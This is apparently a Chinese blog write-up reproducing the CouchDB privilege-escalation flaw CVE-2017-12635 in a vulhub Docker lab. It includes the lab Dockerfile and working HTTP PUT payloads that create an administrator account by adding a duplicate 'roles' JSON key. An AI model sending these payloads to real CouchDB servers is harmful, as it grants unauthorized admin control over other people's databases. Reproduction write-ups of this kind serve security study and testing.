Couchdb 垂直权限绕过漏洞(CVE-2017-12635)
1.漏洞影响版本
Apache CouchDB小于 1.7.0 以及 小于 2.1.1
2.漏洞危害
可以让任意用户创建管理员,造成垂直权限绕过
3.漏洞POC
修改dockerfile,内容如下,看过之前文章的可以了解到,只是更新为网易的源,链接:CVE-2016-5385:
FROM debian:jessie
MAINTAINER phithon <root@leavesongs.com>
ADD https://github.com/vishnubob/wait-for-it/raw/master/wait-for-it.sh /wait-for-it.sh
RUN mv /etc/apt/sources.list /etc/apt/sources.list.bak && \
echo 'deb http://mirrors.163.com/debian/ jessie main non-free contrib' > /etc/apt/sources.list && \
echo 'deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib' >> /etc/apt/sources.list && \
echo 'deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib' >> /etc/apt/sources.list
RUN set -ex \
&& apt-get update \
&& apt-get install curl -y --no-install-recommends \
&& chmod +x /wait-for-it.sh \
&& { \
echo '#!/bin/bash'; \
echo '/wait-for-it.sh ${COUCHDB_URL}'; \
echo 'curl -X PUT http://${COUCHDB_AUTH}@${COUCHDB_URL}/_users'; \
echo 'curl -X PUT http://${COUCHDB_AUTH}@${COUCHDB_URL}/_replicator'; \
echo 'curl -X PUT http://${COUCHDB_AUTH}@${COUCHDB_URL}/_global_changes'; \
} | tee /run.sh \
&& chmod +x /run.sh \
&& rm -rf /var/lib/apt/lists/*
CMD ["/run.sh"]
![](https://img.haomeiwen.com/i16872314/f07f0df2dc582b38.png)
cd /root/vulhub/couchdb/CVE-2017-12635 ////进入本次复现的vulhub目录
docker-compose build
docker-compose up -d ////docker-compose搭建环境
![](https://img.haomeiwen.com/i16872314/8a6a069fd9e5869b.png)
访问http://your-ip:5984/_utils/即可看到一个web页面,说明Couchdb已成功启动。
首先,发送如下数据包:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.11.139:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 92
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
可见,返回403错误:{"error":"forbidden","reason":"Only _admin may set roles"},只有管理员才能设置Role角色
![](https://img.haomeiwen.com/i16872314/860dc57a8c34f76a.png)
发送包含两个roles的数据包,即可绕过限制
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.11.139:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
![](https://img.haomeiwen.com/i16872314/fd5f6d47f332f176.png)
成功创建管理员,账户密码均为vulhub
![](https://img.haomeiwen.com/i16872314/e52a1d096350298b.png)
4.复盘
漏洞出现原因
CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。
总结
漏洞参考URL:
网友评论